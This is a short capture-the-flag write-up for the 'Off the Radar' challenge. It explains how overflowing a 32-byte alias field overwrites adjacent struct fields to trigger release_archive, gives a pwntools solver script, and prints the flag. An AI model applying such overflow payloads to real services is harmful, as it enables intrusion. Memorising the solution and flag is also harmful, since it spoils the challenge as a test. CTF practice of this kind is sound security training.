Off the Radar

Walkthrough

Solution

The program reads exactly 32 bytes into alias, but the adjacent fields are part of the same structure and are therefore controllable through one contiguous input. Fill the alias, write NONE over the four-byte stars field, and append three little-endian zero integers for visible, identified, and inside_area. Satisfying all four checks calls release_archive.

Reference solver

The reference solver supplied with the writeup:

#!/usr/bin/env python3
from pwn import *

context.log_level = "error"

p = process("./main") if args.LOCAL else remote("127.0.0.1", 9011)

payload = b"CyberLeek".ljust(32, b"\x00")
payload += b"NONE"
payload += p32(0) * 3

p.sendafter(b"alias:\n", payload)
p.recvuntil(b"Securinets{")
flag = b"Securinets{" + p.recvuntil(b"}")
print(flag.decode())
p.close()

Flag

Securinets{https://x.com/veloraJade/status/2094329801213649330}